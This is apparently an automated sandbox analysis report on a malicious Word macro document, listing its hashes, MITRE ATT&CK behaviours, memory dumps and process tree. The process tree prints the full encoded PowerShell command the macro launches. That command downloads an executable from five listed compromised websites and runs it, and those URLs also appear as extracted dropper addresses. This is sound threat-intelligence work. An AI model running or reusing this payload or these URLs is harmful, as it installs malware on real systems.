ae57a693f14a99d743ef184eee54eb1e7bcca0af0afa5916fbb39b8e2906acec

General

Target

eubrxvso.doc
Size

229KB
MD5

f1209a917eabd6755ec94337097fa830
SHA1

77f8f923fccc35caf98acec824a9ae4995d07d65
SHA256

ae57a693f14a99d743ef184eee54eb1e7bcca0af0afa5916fbb39b8e2906acec
SHA512

13444c645b8cfc377f5a60be22b80b9cfb6a9e21fc72433f3102d56500e78c97b9473cc0f4e808d8e8e6c589fe86186955843e90a2c7e702a781ac42ad3106ad

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://harugomnhat.mizi.vn/lfv9u/Yc31L165329/

exe.dropper

http://betmagik.com/wp-includes/e6eT18030/

exe.dropper

http://aofortunes.com/9gipx/wOOY59/

exe.dropper

http://yourman.co.uk/hWftFfZpx/uRkkm0115/

exe.dropper

https://serenitynailsfranklin.com/wp-includes/OU50007/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4528	4932	powersheLL.exe

Blocklisted process makes network request 4 IoCs

Processes:

powersheLL.exe

flow pid process

23 4528 powersheLL.exe
34 4528 powersheLL.exe
37 4528 powersheLL.exe
39 4528 powersheLL.exe

flow	pid	process
23	4528	powersheLL.exe
34	4528	powersheLL.exe
37	4528	powersheLL.exe
39	4528	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2400 WINWORD.EXE
2400 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

4528 powersheLL.exe
4528 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 4528 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2400 WINWORD.EXE
2400 WINWORD.EXE
2400 WINWORD.EXE
2400 WINWORD.EXE
2400 WINWORD.EXE
2400 WINWORD.EXE
2400 WINWORD.EXE

pid	process
2400	WINWORD.EXE
2400	WINWORD.EXE

pid	process
4528	powersheLL.exe
4528	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	4528	powersheLL.exe

pid	process
2400	WINWORD.EXE
2400	WINWORD.EXE
2400	WINWORD.EXE
2400	WINWORD.EXE
2400	WINWORD.EXE
2400	WINWORD.EXE
2400	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eubrxvso.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2400

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFADYAcQA5ADkAagB2AD0AJwBHAGkAMQBoADUANQA3ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAYwBVAGAAUgBpAFQAeQBQAFIAbwB0AG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVADEAdQBnADIAdQBkACAAPQAgACcATgBtAGQAagAnADsAJABCAHAAXwA2AGkANgBfAD0AJwBWADQAbgB6ADIAcwA4ACcAOwAkAEsAZAB2ADIAOQA1AHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVADEAdQBnADIAdQBkACsAJwAuAGUAeABlACcAOwAkAEsANwB6AGYAcwBfAHMAPQAnAEMAawAwADAANQBiAHoAJwA7ACQASgBsADIAMwBvAHgAZgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQAUgB6AHgAMwByAG8AMAA9ACcAaAB0AHQAcABzADoALwAvAGgAYQByAHUAZwBvAG0AbgBoAGEAdAAuAG0AaQB6AGkALgB2AG4ALwBsAGYAdgA5AHUALwBZAGMAMwAxAEwAMQA2ADUAMwAyADkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAHQAbQBhAGcAaQBrAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBlADYAZQBUADEAOAAwADMAMAAvACoAaAB0AHQAcAA6AC8ALwBhAG8AZgBvAHIAdAB1AG4AZQBzAC4AYwBvAG0ALwA5AGcAaQBwAHgALwB3AE8ATwBZADUAOQAvACoAaAB0AHQAcAA6AC8ALwB5AG8AdQByAG0AYQBuAC4AYwBvAC4AdQBrAC8AaABXAGYAdABGAGYAWgBwAHgALwB1AFIAawBrAG0AMAAxADEANQAvACoAaAB0AHQAcABzADoALwAvAHMAZQByAGUAbgBpAHQAeQBuAGEAaQBsAHMAZgByAGEAbgBrAGwAaQBuAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBPAFUANQAwADAAMAA3AC8AJwAuACIAUwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGADQAegAzADYAdgAxAD0AJwBIADUAMwBxADYAYQByACcAOwBmAG8AcgBlAGEAYwBoACgAJABHADUAagBkAGoANQA0ACAAaQBuACAAJABSAHoAeAAzAHIAbwAwACkAewB0AHIAeQB7ACQASgBsADIAMwBvAHgAZgAuACIAZABvAHcAbgBsAGAAbwBgAEEARABGAGAASQBMAGUAIgAoACQARwA1AGoAZABqADUANAAsACAAJABLAGQAdgAyADkANQByACkAOwAkAFkAcgBlAHcAcQBoADQAPQAnAFgAawAyADkANwBhADkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAGQAdgAyADkANQByACkALgAiAEwARQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADYAMAAxADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASwBkAHYAMgA5ADUAcgApADsAJABUAHIAOQA1AGYAdQA0AD0AJwBQADcAeQBoAGMANgBjACcAOwBiAHIAZQBhAGsAOwAkAFIAYgBtADkAYwBnAF8APQAnAFAANgB2ADYAMwBoAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBtAGUAdQB0AHIANAA9ACcASAByADYAbQBmADcANgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4528

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2400-136-0x00007FFA754D0000-0x00007FFA754E0000-memory.dmp

Filesize
64KB

Download
memory/2400-130-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-132-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-133-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-134-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-135-0x00007FFA754D0000-0x00007FFA754E0000-memory.dmp

Filesize
64KB

Download
memory/2400-131-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-137-0x000001FAAED80000-0x000001FAAED84000-memory.dmp

Filesize
16KB

Download
memory/2400-141-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-143-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-144-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/2400-142-0x00007FFA77670000-0x00007FFA77680000-memory.dmp

Filesize
64KB

Download
memory/4528-138-0x000001C91E3C0000-0x000001C91E3E2000-memory.dmp

Filesize
136KB

Download
memory/4528-139-0x00007FFA8B7E0000-0x00007FFA8C2A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads